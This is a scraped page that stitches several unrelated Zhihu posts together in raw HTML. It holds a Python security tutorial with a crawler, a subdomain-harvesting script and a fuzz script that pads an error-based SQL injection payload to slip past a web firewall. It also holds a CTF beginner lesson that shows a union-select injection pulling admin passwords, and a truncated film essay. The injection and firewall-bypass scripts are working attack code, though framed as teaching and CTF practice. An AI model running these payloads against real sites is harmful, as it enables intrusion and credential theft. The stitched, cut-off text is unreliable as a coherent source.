data-original=&https://pic1.zhimg.com/v2-7d00eb2cbe8bf8bd62b267a_r.jpg&&&/figure&&p&1.调度器:调度器用来对各个部分进行调度,如将url取出,送给下载器下载,将下载是页面送给解析器解析,解析出新的url及想要的数据等&/p&&p&2.url管理器:url管理器要维护两个set()(为啥用set(),因为set()自带去重功能),一个标识已抓取的url,一个标识待抓取的url,同时,url管理器还要有将解析器解析出来的新url放到待抓取的url里的方法等&/p&&p&3.下载器:实现最简单,抓取静态页面只需要r = &br&requests.get,然后r.content,页面内容就存进内存了,当然,你存进数据库里也是可以的;但是同时也是扩展时的重点,比如某些页面需要登陆才能访问,这时候就得post传输账号密码或者加上已经登陆产生的cookie&/p&&p&4.解析器:BeautifulSoup或者正则或者采用binghe牛的pyquery来解析下载器下载来的页面数据&/p&&p&5.输出器:主要功能输出想得到的数据&/p&&p&&b&调度器:&/b&&/p&&p&spider_main.py&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
from spider import url_manager, html_downloader, html_outputer, html_parser
class SpiderMain(object):
def __init__(self):
self.urls = url_manager.UrlManager()
self.downloader = html_downloader.HtmlDownloader()
self.parser = html_parser.HtmlParser()
self.outputer = html_outputer.HtmlOutputer()
def craw(self, root_url):
self.urls.add_new_url(root_url)
while self.urls.has_new_url():
new_url = self.urls.get_new_url()
print 'craw : %s' % new_url
html_cont = self.downloader.download(new_url)
new_urls, new_data = self.parser.parse(new_url, html_cont)
self.urls.add_new_urls(new_urls)
self.outputer.collect_data(new_data)
print 'craw failed'
self.outputer.output_html()
if __name__ == &__main__&:
root_url = &自己想爬的网站,我爬了下爱编程,效果还行&
obj_spider = SpiderMain()
obj_spider.craw(root_url)
&/code&&/pre&&/div&&p&其中__init__是初始化,url_manager, html_downloader, html_outputer, html_parser是自己写的模块,各个模块里有各自的类和方法,通过初始化得到相应类的实例;&/p&&p&craw是调度器对各个模块的调度:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&new_url = self.urls.get_new_url()
print 'craw : %s' % new_url
html_cont = self.downloader.download(new_url)
new_urls, new_data = self.parser.parse(new_url, html_cont)
self.urls.add_new_urls(new_urls)
self.outputer.collect_data(new_data)
&/code&&/pre&&/div&&p&分别对应着:&/p&&p&1.从待爬取url列表中取出一个url&/p&&p&2.将改url送往下载器下载,返回页面内容&/p&&p&3.将页面送往解析器解析,解析出新的url列表和想要的数据&/p&&p&4.调度url管理器,将新的url添加进带爬取的url列表&/p&&p&5.调度输出器输出数据&/p&&p&&br&&/p&&p&&b&url管理器:&/b&&/p&&p&url_manager.py:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class UrlManager(object):
def __init__(self):
self.new_urls = set()
self.old_urls = set()
def add_new_url(self, url):
if url is None:
if url not in self.new_urls and url not in self.old_urls:
self.new_urls.add(url)
def add_new_urls(self, urls):
if urls is None or len(urls) == 0:
for url in urls:
self.add_new_url(url)
def has_new_url(self):
return len(self.new_urls) != 0
def get_new_url(self):
new_url = self.new_urls.pop()
self.old_urls.add(new_url)
return new_url
&/code&&/pre&&/div&&p&url_manager模块里的类,及类的方法&/p&&p&&br&&/p&&p&&b&下载器:&/b&&/p&&p&html_downloader.py&/p&&p&本来蚂蚁老师用的urllib,我给改了,改成requests:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import urllib2
import requests
class HtmlDownloader(object):
def download(self, url):
if url is None:
return None
r = requests.get(url,timeout=3)
if r.status_code != 200:
return None
return r.content
&/code&&/pre&&/div&&p&&b&html解析器:&/b&&/p&&p&html_parser.py&/p&&p&把抓取策略给改了,现在是解析所有链接,即a标签href的值&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
import urlparse
from bs4 import BeautifulSoup
class HtmlParser(object):
def parse(self, page_url, html_cont):
if page_url is None or html_cont is None:
soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')
new_urls = self._get_new_urls(page_url, soup)
new_data = self._get_new_data(page_url, soup)
return new_urls, new_data
def _get_new_urls(self, page_url, soup):
new_urls = set()
links = soup.find_all('a')
for link in links:
new_url = link['href']
new_full_url = urlparse.urljoin(page_url, new_url)
new_urls.add(new_full_url)
return new_urls
def _get_new_data(self, page_url, soup):
res_data = {}
return res_data
&/code&&/pre&&/div&&p&html_outputer.py&/p&&p&这个看情况,可要可不要,反正已经能打印出来了:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#!/usr/bin/env python2
# -*- coding: UTF-8 -*-
class HtmlOutputer(object):
def __init__(self):
self.datas = []
def collect_data(self, data):
if data is None:
self.datas.append(data)
def output_html(self):
fout = open('output.html', 'w')
fout.write(&&html&&)
fout.write(&&body&&)
fout.write(&&table&&)
for data in self.datas:
fout.write(&&tr&&)
fout.write(&&td&%s&/td&& % data['url'])
#fout.write(&&td&%s&/td&& % data['title'].encode('utf-8'))
#fout.write(&&td&%s&/td&& % data['summary'].encode('utf-8'))
fout.write(&&/tr&&)
fout.write(&&/table&&)
fout.write(&&/body&&)
fout.write(&&/html&&)
fout.close()
&/code&&/pre&&/div&&p&运行效果:&/p&&figure&&img src=&https://pic4.zhimg.com/v2-b745f9ee2b628a34be1f3e369ca419c9_b.jpg& data-caption=&& data-rawwidth=&1915& data-rawheight=&1029& class=&origin_image zh-lightbox-thumb& width=&1915& data-original=&https://pic4.zhimg.com/v2-b745f9ee2b628a34be1f3e369ca419c9_r.jpg&&&/figure&&p&这款爬虫可扩展性挺好,之后大家可以扩展爬取自己想要的内容&/p&&p&&br&&/p&&p&当然要是只需要爬取某个页面的某些内容,完全不必要这么麻烦,一个小脚本就好了:&/p&&p&比如我要爬取某二级域名接口中的二级域名结果:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import urllib, re
def getall(url):
page = urllib.urlopen(url).read()
return page
def ressubd(all):
a = re.compile(r'value=&(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )&&&input')
subdomains = re.findall(a, all)
return (subdomains)
if __name__ == '__main__':
print '作者:深夜'.decode('utf-8').encode('gbk')
print '--------------'
print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
print '--------------'
url = 'http://i.links.cn/subdomain/' + raw_input('请输入主域名:'.decode('utf-8').encode('gbk')) + '.html'
all = getall(url)
subd = ressubd(all)
sub = ''.join(subd)
s = sub.replace('http://', '\n')
with open('url.txt', 'w') as f:
f.writelines(s)
&/code&&/pre&&/div&&p&小脚本用正则就好了,写的快&/p&&p&&br&&/p&&p&&b&五、python在exp中的应用&/b&&/p&&p&之前海盗表哥写过过狗的一个php fuzz脚本&/p&&p&&a href=&https://link.zhihu.com/?target=http%3A//bbs.ichunqiu.com/forum.php%3Fmod%3Dviewthread%26tid%3D16134& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&bbs.ichunqiu.com/forum.&/span&&span class=&invisible&&php?mod=viewthread&tid=16134&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&表哥写的php版本的:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&?php $i=10000;
$url = 'http://192.168.1.121/sqlin.php'; for(;;){
echo &$i\n&;
$payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);
if(!strpos($ret,'网站防火墙')){
echo &done!\n&.strlen($payload).&\n&.$ die();
function doPost($url,$data=''){ $ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);
curl_close ($ch); return $
&/code&&/pre&&/div&&p&我在本地搭了个环境,然后用python也写了下,还是挺好写的:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&#coding: utf-8
import requests, os
#i = 9990;
url = 'http://localhost:8090/sqlin.php'
def dopost(url, data=''):
r = requests.post(url, data)
return r.content
for i in range():
payload = {'id':'1 and 1=' + i * '3' + ' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))'}
#print payload
ret = dopost(url, payload)
ret = ''.join(ret)
if ret.find('网站防火墙') == -1:
print &done\n& + &\n& + ret
&/code&&/pre&&/div&&p&&b&六、总结&/b&&/p&&p&学生党还是很苦逼的,1.15号才考完试,不说了,写文章写了俩小时。。我去复习了,各位表哥有意见或者建议尽管提,文章哪里不对的话会改的,欢迎表哥表弟们来&a href=&https://link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html%3Ffrom%3Dzh& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&社区&/a&一起交流哦~ &/p&
作者: 来源:前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在中的应用,让我们自己动手打造自己的集。 一、信息搜集--py端口扫描小脚本端口扫描是渗透测试中常用的技术手…
&figure&&img src=&https://pic2.zhimg.com/v2-99f025bee0cd0b639fce43_b.jpg& data-rawwidth=&595& data-rawheight=&321& class=&origin_image zh-lightbox-thumb& width=&595& data-original=&https://pic2.zhimg.com/v2-99f025bee0cd0b639fce43_r.jpg&&&/figure&&p&大家好,我是H1TerHub的Rman,一直以来对网络安全十分感兴趣,今年在学校里成立H1TerHub战队,主打CTF的赛事。由于很多同学都是刚刚接触网络安全和CTF,于是就开了一些课,帮助他们入门和接触这个赛事。&/p&&p&于是乎就有把上课用的PPT编辑下分享给大家的想法。争取按照我们上课的进度,每周一更,希望能让更多的人了解这个比赛,也希望能跟大家共同交流学习。&/p&&p&本人也只是对CTF略有了解,文章也多改自网上各位师傅们的博客,当中也许会有错误,还望各位师傅指点。&/p&&p&&br&&/p&&h2&0X01 什么是SQL&/h2&&p&o结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,&b&是一种数据库查询和程序设计语言&/b&,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。&/p&&h2&0X02 MYSQL简介&/h2&&p&oMySQL是一种关系数据库管理系统,&b&关系数据库将数据保存在不同的表中&/b&,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。&/p&&p&MySQL所使用的 SQL&br&语言是用于访问&a href=&https://link.zhihu.com/?target=https%3A//baike.baidu.com/item/%25E6%%25E6%258D%25AE%25E5%25BA%2593& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&数据库&/a&的最常用标准化语言&/p&&p&&br&&/p&&p&PS:是建立在关系模型基础上的&a href=&https://link.zhihu.com/?target=https%3A//baike.baidu.com/item/%25E6%%25E6%258D%25AE%25E5%25BA%2593& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&数据库&/a&,借助于集合代数等数学概念和方法来处理数据库中的&a href=&https://link.zhihu.com/?target=https%3A//baike.baidu.com/item/%25E6%%25E6%258D%25AE/33305& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&数据&/a&。现实世界中的各种实体以及实体之间的各种联系均用关系模型来表示。&/p&&p&&br&&/p&&h2&0x03 MYSQL数据库结构&/h2&&p&&br&&/p&&p&o数据库——表——列——字段&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-cfa1b2a3f456cf_b.jpg& data-rawwidth=&743& data-rawheight=&398& class=&origin_image zh-lightbox-thumb& width=&743& data-original=&https://pic3.zhimg.com/v2-cfa1b2a3f456cf_r.jpg&&&figcaption&结构图1&/figcaption&&/figure&&figure&&img src=&https://pic2.zhimg.com/v2-be370f9b150a8ffaf0754_b.jpg& data-rawwidth=&1080& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic2.zhimg.com/v2-be370f9b150a8ffaf0754_r.jpg&&&figcaption&结构图2&/figcaption&&/figure&&figure&&img src=&https://pic1.zhimg.com/v2-e636ea32fbcd_b.jpg& data-rawwidth=&938& data-rawheight=&526& class=&origin_image zh-lightbox-thumb& width=&938& data-original=&https://pic1.zhimg.com/v2-e636ea32fbcd_r.jpg&&&figcaption&PHPmyadmin的实际截图&/figcaption&&/figure&&p&PS:快速搭建PHP环境和MYSQL:&a href=&https://link.zhihu.com/?target=http%3A//www.phpstudy.net/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&php教程_phpStudy官方网站_JspStudy phpStudy 2017下载_phpStudy教程_php集成环境 - phpStudy&/a&&/p&&p&&br&&/p&&p&&br&&/p&&h2&0X04 数据库的查询&/h2&&p&显然数据库里有大量的数据,那我们该如何找到我们想要的东西呢。&/p&&p&o比如我想获取&/p&&p&ohack数据库下-user表下-名叫bob的人的信息&/p&&p&o该怎么办呢?&/p&&p&&br&&/p&&p&&b&SQL基本语句&/b&&/p&&p&oS(显示所有数据库)&/p&&figure&&img src=&https://pic4.zhimg.com/v2-da0c70d4fec7adcd7b2077_b.jpg& data-caption=&& data-rawwidth=&199& data-rawheight=&245& class=&content_image& width=&199&&&/figure&&p&oUse xxx (数据库名字)选择数据库==&/p&&figure&&img src=&https://pic3.zhimg.com/v2-2ccdd7443d54_b.jpg& data-caption=&& data-rawwidth=&325& data-rawheight=&62& class=&content_image& width=&325&&&/figure&&p&&br&&/p&&p&oS(显示所有表单)&/p&&figure&&img src=&https://pic3.zhimg.com/v2-39bddf03d1bd496dd64320c4_b.jpg& data-caption=&& data-rawwidth=&160& data-rawheight=&124& class=&content_image& width=&160&&&/figure&&p&oSELECT &b&列名称&/b& FROM&b& 表名称&/b& WHERE &b&条件&/b& #从表中选取数据&/p&&p&Select * from user where name= ‘bob’;&br&&/p&&p&PS:如果列名处是*代表返回所有列&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-bc0dceb3c767d11a7bd09_b.jpg& data-caption=&& data-rawwidth=&395& data-rawheight=&118& class=&content_image& width=&395&&&/figure&&p&oUPDATE &b&表名称&/b& SET &b&列名称=新值&/b& WHERE&b& 条件&/b& #修改表中某值&/p&&p&oeg.:update user set password=’654’ where name=’bob’&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-65df0c0fea61dc0a936c88f1448cc33c_b.jpg& data-caption=&& data-rawwidth=&433& data-rawheight=&55& class=&origin_image zh-lightbox-thumb& width=&433& data-original=&https://pic2.zhimg.com/v2-65df0c0fea61dc0a936c88f1448cc33c_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-479efc269e607b2a1c9fdab1077bcaf0_b.jpg& data-caption=&& data-rawwidth=&415& data-rawheight=&111& class=&content_image& width=&415&&&/figure&&p&oinsert into &b&表名称(字段名称)&/b& values&b&(值1,值2,…….)&/b& &/p&&p&o#向表格中插入新的行,其中values中插入的值可为逻辑运算的结果&/p&&p&oeg.:insert into user(name,pass) values (’cindy’,’555’);&br&&/p&&figure&&img src=&https://pic3.zhimg.com/v2-c6b9a7ed7049cfad63817_b.jpg& data-caption=&& data-rawwidth=&487& data-rawheight=&46& class=&origin_image zh-lightbox-thumb& width=&487& data-original=&https://pic3.zhimg.com/v2-c6b9a7ed7049cfad63817_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-6b6fab74d0f680930decaf_b.jpg& data-caption=&& data-rawwidth=&478& data-rawheight=&128& class=&origin_image zh-lightbox-thumb& width=&478& data-original=&https://pic4.zhimg.com/v2-6b6fab74d0f680930decaf_r.jpg&&&/figure&&p&odelete from &b&(表)&/b& where &b&条件&/b&&/p&&p&o#删除一个字段。&/p&&p&oEg:delete form user where name=‘alex’&/p&&figure&&img src=&https://pic2.zhimg.com/v2-96fe7c4a2a_b.jpg& data-caption=&& data-rawwidth=&362& data-rawheight=&72& class=&content_image& width=&362&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-2b1d772e5b189ba8fd84_b.jpg& data-caption=&& data-rawwidth=&294& data-rawheight=&173& class=&content_image& width=&294&&&/figure&&p&union select 联合查询&/p&&p&#UNION 操作符用于合并两个或多个 SELECT 语句的结果集。&/p&&p&请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。&b&列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。&/b&&/p&&p&SELECT column_name(s) FROM table_name1&/p&&p&oUNION&/p&&p&oSELECT column_name(s) FROM table_name2&/p&&p&&br&&/p&&p&oEg:&/p&&p&oSELECT message FROM messages&/p&&p&oUNION&/p&&p&SELECT adminu FROM admin&/p&&figure&&img src=&https://pic3.zhimg.com/v2-8a26eb718bb43d3d6f5642_b.jpg& data-caption=&& data-rawwidth=&456& data-rawheight=&205& class=&origin_image zh-lightbox-thumb& width=&456& data-original=&https://pic3.zhimg.com/v2-8a26eb718bb43d3d6f5642_r.jpg&&&/figure&&p&&b&杂七杂八&/b&&/p&&p&1)注释符:#, --+ ,//&/p&&p&显而易见用于注释》。。。&/p&&p&2)ORDER BY 语句用于对结果集进行排序,注入攻击中用于测试列的数量。&/p&&p&&br&&/p&&h2&0x05 SQL在PHP中的应用&/h2&&p&一个基本的查询QQ号程序。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-33a3d6ebcfba3f12a77ffe40_b.jpg& data-caption=&& data-rawwidth=&390& data-rawheight=&456& class=&content_image& width=&390&&&/figure&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&$query=&select * from user where qq= '$qq'&;
处为我们执行的查询语句。
由上面可知我们传入的QQ参数被放入此处执行,并且在MYSQL中执行了
select * from user where qq='xxxx'的操作。
进行SQL注入第一步就是要猜测后台使用的查询语句是什么样的。
&/code&&/pre&&/div&&h2&0x06什么是sql注入&/h2&&p&o攻击者通过构造恶意的SQL语句,使得数据库执行危险操作。&/p&&p&o比如本来是查询书籍的语句,结果显示了用户的密码&/p&&p&o比如直接用数据库写入文件。&/p&&p&&br&&/p&&p&&b&SQL注入产生的原因&/b& &/p&&p&o简而言之,SQL注入产生的原因,就是我们使用了了一个可以被黑客控制并任意修改的SQL语句,使得黑客执行他所想进行的查询或者操作。&/p&&p&&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&o$query=&select * from user where qq='$qq'&;
o这是我们的查询语句,$qq是我们的变量,本来这里是提交QQ号的。比如QQ=123456
o查询语句为: select * from user where qq=‘123456’
&/code&&/pre&&/div&&p&select * from user where qq=‘123456’&br&这已经是一个完整的语句了,可以显示结果了。但是我们先查看别的表单怎么办呢?我们并不能操作user的位置。这时我们就要再运行一个查询。&br&&/p&&p&o可以发现select * from user where qq=‘123456’&/p&&p&o我们提交的东西都在单引号内部,都被作为参数了。我们想要再运行一个参数就要提前把单引号闭合,&b&这样我们后面的指令就不再是查询参数了。&/b&&/p&&p&&b&PS:如何使得双引号闭合也是一门学问。&/b&&/p&&p&&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&假如我们查询的qq为12345‘ union select * from admin --+
这时语句为select * from user where qq=‘12345‘ union select * from admin --+’
&/code&&/pre&&/div&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-7d10ebe37caa1cb3d54981_b.jpg& data-caption=&& data-rawwidth=&637& data-rawheight=&74& class=&origin_image zh-lightbox-thumb& width=&637& data-original=&https://pic4.zhimg.com/v2-7d10ebe37caa1cb3d54981_r.jpg&&&/figure&&p&o我们看看在实际运行的结果&/p&&figure&&img src=&https://pic2.zhimg.com/v2-31976ccf06ad10c855ed8_b.jpg& data-caption=&& data-rawwidth=&388& data-rawheight=&143& class=&content_image& width=&388&&&/figure&&p&结果多了一条信息,这是管理员的账号密码。&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&这是我们提交的QQ号
12345‘ union select * from admin --+
12345‘ 到这里为止正好和原查询语句一致
select * from admin 这里是我们自己定义的查询
Union 把后面我们查询的结果和前面查询的结果一起显示。
--+注释符,把后面的单引号注释掉,以免报错。
&/code&&/pre&&/div&&p&到此为止,我们就进行了一次完整的SQL注入操作,获取了管理员的账号和密码,我们再来回顾一下过程:&/p&&p&1、猜测开发者所使用语句:select * from user where qq= '$qq'&/p&&p&2、如何执行我们自己的查询语句:闭合单引号 +查询语句,绕过过滤执行查询。&/p&&p&3、如何使得我们查询的结果显示出来:group_concat(),盲注,报错注入.....&/p&&p&&br&&/p&&h2&0X07 总结&/h2&&p&本文只是很浅显的介绍了下数据库结构和部分SQL语句,以及很基础的SQL注入流程。&/p&&p&后面会逐步深入的介绍更多的内容。&/p&&p&&br&&/p&&p&在此推荐大家一些学习的教程:&/p&&p&书籍:SQL注入攻击与防御&a href=&https://link.zhihu.com/?target=http%3A//product.dangdang.com/.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&《SQL注入攻击与防御(第2版)(安全技术经典译丛)》((美)克拉克)【简介_书评_在线阅读】 - 当当图书&/a&&/p&&p&SQL注入天书:&a href=&https://link.zhihu.com/?target=http%3A//www.cnblogs.com/lcamry/p/5763169.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&MYSQL注入天书之开天辟地 - lcamry - 博客园&/a&&/p&&p&练习:&a href=&https://link.zhihu.com/?target=https%3A//github.com/Audi-1/sqli-labs/blob/master/Less-1/index.php& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Audi-1/sqli-labs&/a&&/p&&p&&/p&&p&&/p&
大家好,我是H1TerHub的Rman,一直以来对网络安全十分感兴趣,今年在学校里成立H1TerHub战队,主打CTF的赛事。由于很多同学都是刚刚接触网络安全和CTF,于是就开了一些课,帮助他们入门和接触这个赛事。于是乎就有把上课用的PPT编辑下分享给大家的想法。争…
&figure&&img src=&https://pic2.zhimg.com/v2-a0ffa8f4ae4e0b84cca652_b.jpg& data-rawwidth=&1080& data-rawheight=&612& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&https://pic2.zhimg.com/v2-a0ffa8f4ae4e0b84cca652_r.jpg&&&/figure&&p&1.&/p&&p&&br&&/p&&p&最近重温了《爱在》三部曲。又多了很多和第一次看时不同的感悟。&/p&&p&&br&&/p&&figure&&img src=&http://pic3.zhimg.com/v2-63db83e506d6fd2423c6_b.jpg& data-caption=&& data-rawwidth=&620& data-rawheight=&298& class=&origin_image zh-lightbox-thumb& width=&620& data-original=&http://pic3.zhimg.com/v2-63db83e506d6fd2423c6_r.jpg&&&/figure&&p&&br&&/p&&p&年轻的时候看,会觉得:“啊,两个话痨之间的灵魂互撞真有意思。”&/p&&p&&br&&/p&&p&现在看会觉得:“啊,原来爱情并不是王子和公主幸福地生活在一起后就黑幕ending,而是王子发福、公主长出皱纹之后的生活琐碎。”&/p&&p&&br&&/p&&p&导演花了18年的时间,用《爱在》三部曲记录了男女主角23岁、32岁和41岁三个不同人生阶段的爱情与生活。演员真实生活中的年纪也随着剧中角色的年龄同步发生着变化。&/p&&p&&br&&/p&&figure&&img src=&http://pic2.zhimg.com/v2-b04ffcbeb40adeb131aa9_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&692& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic2.zhimg.com/v2-b04ffcbeb40adeb131aa9_r.jpg&&&/figure&&p& 23岁&/p&&figure&&img src=&http://pic1.zhimg.com/v2-6e926abc0b8ee13a6efae27c_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&710& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic1.zhimg.com/v2-6e926abc0b8ee13a6efae27c_r.jpg&&&/figure&&p&32岁&/p&&figure&&img src=&http://pic4.zhimg.com/v2-cb018ec6db_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&767& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic4.zhimg.com/v2-cb018ec6db_r.jpg&&&/figure&&p&41岁&/p&&p&&br&&/p&&p&渐渐的,男主角年轻时的盛世美颜消失了,取而代之的是一张被生活蹂躏过的沧桑面孔,女主角的曼妙身材和胶原蛋白也消失了,取而代之的是越来越臃肿的身体和逐渐下垂的乳房。&/p&&p&&br&&/p&&p&第一次看到他们的衰老,会觉得淡淡的悲哀。&/p&&p&&br&&/p&&p&对于一个16岁就在日记里写“想让生命永远终止在18岁”,20岁时在日记里写“如果一个男孩没有陪我走过青春,那么他再爱我,也会觉得缺少点什么”的小姑娘来说,青春永远都是人生中最美好的年纪,爱情永远都是年轻貌美的少男少女才配拥有的东西。&/p&&p&&br&&/p&&p&但导演偏偏要把电影拆分成三部分告诉你:爱情除了浪漫至死的糖衣炮弹,还有面对现实的残酷抉择,更有回归生活后的矛盾琐碎。浪漫的归浪漫,现实的归现实,生活的归生活。&/p&&p&&br&&/p&&p&这才是负责任的爱情故事该讲的内容。&/p&&p&&br&&/p&&p&即便如此,第一次看时还是最爱浪漫的第一部——《爱在黎明破晓前》。&/p&&p&&br&&/p&&p&23岁的少男少女,在火车上一见钟情,一拍即合。于是决定在维也纳下车,在这座陌生城市的街头闲晃,共同度过浪漫至死的一夜。&/p&&p&&br&&/p&&figure&&img src=&http://pic4.zhimg.com/v2-5d04157dcacb6a0f710def_b.jpg& data-caption=&& data-rawwidth=&548& data-rawheight=&598& class=&origin_image zh-lightbox-thumb& width=&548& data-original=&http://pic4.zhimg.com/v2-5d04157dcacb6a0f710def_r.jpg&&&/figure&&p&&br&&/p&&p&他们聊初恋、聊女权、聊分手、聊自己的父母…他们什么都聊,话题永不间断。他们在唱片店里眼神游离,在摩天轮上互相亲吻,在深夜的街头彼此拥抱…&/p&&figure&&img src=&http://pic2.zhimg.com/v2-2e628d09d9cb2be43829c8bff7a3f891_b.jpg& data-caption=&& data-rawwidth=&704& data-rawheight=&459& class=&origin_image zh-lightbox-thumb& width=&704& data-original=&http://pic2.zhimg.com/v2-2e628d09d9cb2be43829c8bff7a3f891_r.jpg&&&/figure&&p&“好像人生中所有的浪漫都在维也纳的那夜消耗殆尽了。”多年后重逢,女主对男主如是说。&/p&&p&&br&&/p&&p&浪漫吗?简直浪漫死了。一对帅气貌美的年轻男女,在异国他乡一见钟情,从略显尴尬到小心试探到完全放开,维也纳的一夜,你可以看见恋爱初期的男女一步步进阶亲密关系的全过程,也可以透过屏幕感受到恋爱的甜蜜与喜悦。&/p&&figure&&img src=&http://pic4.zhimg.com/v2-a26d2e9aedeae92d8a74ab_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&675& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic4.zhimg.com/v2-a26d2e9aedeae92d8a74ab_r.jpg&&&/figure&&p&《爱在》第一部,可以说集齐了所有浪漫爱情该有的元素。&/p&&p&&br&&/p&&p&就连故事的结尾——两人在即将告别的车站互表真心,匆忙约定六个月后在同一地点见面——都是浪漫爱情故事该有的套路。&/p&&figure&&img src=&http://pic4.zhimg.com/v2-fcdd76dd3c7_b.jpg& data-caption=&& data-rawwidth=&855& data-rawheight=&483& class=&origin_image zh-lightbox-thumb& width=&855& data-original=&http://pic4.zhimg.com/v2-fcdd76dd3c7_r.jpg&&&/figure&&p&谁知下一次见面,就是九年之后。就像下一部电影,也等了九年之久。&/p&&p&&br&&/p&&p&&br&&/p&&p&2.&/p&&p&他们终究没有在半年后成功见面,因为种种不可控的外力因素。&/p&&p&&br&&/p&&p&九年后,他们在巴黎相遇。&/p&&p&&br&&/p&&p&九年未见的两人依旧话唠,仿佛他们昨天才分别一样。他们聊工作、聊回忆、聊过去的感情、聊政治...他们聊了一堆,最后还是不可避免地聊到了彼此的感情现状。&/p&&figure&&img src=&http://pic3.zhimg.com/v2-c38f684289daff9885db6dee73712c7e_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&609& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic3.zhimg.com/v2-c38f684289daff9885db6dee73712c7e_r.jpg&&&/figure&&p&就算有再多不甘和遗憾,错过了就是错过了。九年后的他们,都已有了各自的归宿,虽然,他们都过得并不幸福。&/p&&p&&br&&/p&&p&男主虽然结了婚,有了孩子和稳定的事业,却并不爱自己的妻子。外人眼里光鲜的他,生活中的每时每刻都像身处地狱。&/p&&figure&&img src=&http://pic3.zhimg.com/v2-4f49a816c01eb0eeb67c8e_b.jpg& data-caption=&& data-rawwidth=&1080& data-rawheight=&1822& class=&origin_image zh-lightbox-thumb& width=&1080& data-original=&http://pic3.zhimg.com/v2-4f49a816c01eb0eeb67c8e_r.jpg&&&/figure&&p&“我不想成为那种人。在52岁时离了婚,落着泪,承认从来就没有爱过自己的伴侣。感觉自己的生活好像完全被吸尘器吸走一样,一片空虚…”&/p&&p&&br&&/p&&p&他希望自己能爱妻子多一点,让她过上她值得拥有的美好生活,但现实却是,他们只是靠责任假装维系着婚姻。过着别人认为该过的生活。&/p&&p&&br&&/p&&p&而女主过得也并不开心,经历了很多段感情的她,发现自己再也无法对谁付出完整的爱了。每一个曾经说过爱他的男人,最后都离开她和别人结了婚,并感谢她曾经教会他们如何去爱一个人。&/p&&p&&br&&/p&&p&“我已经感觉不到人与人之间的感情了,我现在已经完全不相信任何爱情了,我想我是伤心过太多次了,然后又恢复了。我的感情生活太不顺,所以我总是装作好像不在意它。但我真的痛不欲生,因为麻木而痛不欲生。我不能感受到伤心和兴奋,我也不会感到苦涩。”&/p&&figure&&img src=&http://pic4.zhimg.com/v2-b79fe4e3e9f5a1c5e87cdbd7_b.jpg& data-caption=&& data-rawwidth=&1044& data-rawheight=&1182& class=&origin_image zh-lightbox-thumb& width=&1044& 